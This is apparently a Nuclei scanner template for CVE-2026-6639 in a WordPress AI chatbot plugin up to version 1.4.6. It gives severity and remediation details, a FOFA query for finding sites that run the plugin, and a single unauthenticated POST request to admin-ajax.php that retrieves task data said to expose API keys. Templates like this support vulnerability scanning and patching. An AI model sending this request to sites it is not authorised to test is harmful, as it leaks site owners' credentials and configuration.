AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure

id: CVE-2026-6639

info:
  name: AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure
  author: str4k3r
  severity: high
  description: |
    AIWU AI Chatbot & Workflow Automation WordPress plugin <= 1.4.6 contains a sensitive information exposure caused by unauthenticated access to getCurrentTaskResults() method, letting unauthenticated attackers retrieve API keys and configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive API keys and configuration data, risking data leakage and unauthorized use of services.
  remediation: |
    Update to the latest version beyond 1.4.6.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6639
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/247b1921-70a6-4e65-819a-2895bc395e9f?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-6639
    epss-score: 0.00367
    epss-percentile: 0.30599
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: aiwu
    product: ai-copilot-content-generator
    fofa-query: 'body="/wp-content/plugins/ai-copilot-content-generator/"'
  tags: cve,cve2026,wordpress,wp-plugin,aiwu,ai-copilot,exposure,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=getCurrentTaskResults&pl=waic&mod=workspace&reqType=ajax&task_id=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"feature\":\"magictext\"")'
        condition: and
# digest: 4b0a004830460221009b5a86cf5ba6184fdeae9ea140d0fbe22532fbd48d0b5335750b8213b2017ae8022100fbaecd63e05854635dae058209f7cc08b0bd9b0426c7174ae57dc980729c5cd0:922c64590222798bb761d5b6d8e72950